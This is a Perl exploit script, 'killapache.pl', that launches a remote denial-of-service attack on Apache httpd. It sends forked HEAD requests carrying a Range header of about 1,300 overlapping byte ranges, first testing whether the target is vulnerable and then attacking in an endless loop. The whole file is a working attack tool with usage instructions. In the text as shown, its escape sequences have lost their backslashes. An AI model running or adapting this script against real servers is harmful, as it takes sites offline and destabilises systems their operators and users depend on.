#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
	print "Apache Remote Denial of Service (memory exhaustion)n";
	print "by Kingcopen";
	print "usage: perl killapache.pl <host> [numforks]n";
	print "example: perl killapache.pl www.example.com 50n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]n";
	
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
	$p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next; 	
	
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1rnHost: $ARGV[0]rnRange:bytes=0-$prnAccept-Encoding: gziprnConnection: closernrn";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPpn";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1rnHost: $ARGV[0]rnRange:bytes=0-$prnAccept-Encoding: gziprnConnection: closernrn";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
	print "host seems vulnn";
	return 1;	
} else {
	return 0;	
}
}

if ($#ARGV < 0) {
	usage;
	exit;	
}

if ($#ARGV > 1) {
	$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
	print "Host does not seem vulnerablen";
	exit;	
}
while(1) {
killapache();
}